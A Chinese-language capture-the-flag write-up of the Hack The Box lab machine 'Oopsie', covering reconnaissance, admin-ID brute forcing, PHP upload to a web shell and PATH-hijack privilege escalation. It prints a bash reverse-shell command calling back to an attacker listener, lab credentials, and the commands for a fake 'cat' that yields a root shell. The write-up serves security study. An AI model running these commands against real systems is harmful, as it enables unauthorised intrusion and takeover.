0%

htb:Oopsie

1. 信息收集

nmap -sC -sV 10.10.10.28: 得到开放端口22、80。搭建了一个http服务在80端口,浏览器查看,

image-20210421142723931

查看网页元素,发现有个/cdn-cgi/login/比较奇怪:

image-20210421142758084

访问http://10.10.10.28/cdn-cgi/login/,是一个登录页面:

image-20210421142842221

2. 切入

使用上一台机器获得的管理员密码尝试:admin/MEGACORP_4dm1n!!,成功!

发先有个upload页面,但是提示需要super admin,当前是admin;发现Account页面显示了当前账户的ACCESS ID = 34322, 而请求头中的id=1:

image-20210421153539293

爆破这个ID,从1-100,爆破时要选择这个重定向选项:

image-20210421153731920

得到super admin的user为:86575; super admin

image-20210421153847781

3. 获取shell

上传功能并没有做什么限制,直接就可以上传php,上传一个php-reverse-shell:

主要是bash-reverse-shell:/bin/bash -c "bash -i >& dev.tcp/10.10.16.30/443 0>&1"

image-20210421143011292

本机监听443,执行curl http://10.10.10.28/uploads/shell.php,得到www-data的一个shell,可以直接查看robert目录下的user.txt:

image-20210421143033802

发现login目录下存在一个db.php,查看内容可以发现mysql的连接用户名和密码:

image-20210421145245678

robert: M3g4C0rpUs3r!

4. 提权

用php反弹得到的shell无法切换用户,限制很多,本来以为没有办法了。

尝试用ssh连接,用上面的用户名密码登录,成功!

ssh robert@10.10.10.28 -p22

id命令查看当前用户,发现robert属于bugtracker这个组的。

find / -type f -group bugtracker 2>/dev/null用这个命令查看属于bugtracker组的文件:

image-20210421152515975

查看文件属性,发现只能root修改,bugtracker组的用户可以执行:

image-20210421152443256

执行查看效果,是根据ID来调用cat命令查看/root/reports/id下的文件,在Robert用户下尝试查看这个目录的内容发现权限被限制了,也就是在bugtracker中执行cat命令的权限是root级别的,可以通过这个来提权:

在tmp目录下创建一个cat文件,内容为”/bin/sh”,加上可执行权限,然后修改环境变量,用tmp下的cat覆盖/bin/cat。

1
2
3
4
5
export PATH=/tmp:$PATH
cd /tmp
touch cat
echo "/bin/sh" > cat
chmod +x cat

然后执行bugtracker,调用cat命令的时候就会去调用tmp目录下的cat,这样就获取到了root shell,然后在里面使用/bin/cat 查看root.txt的内容。

image-20210421151400819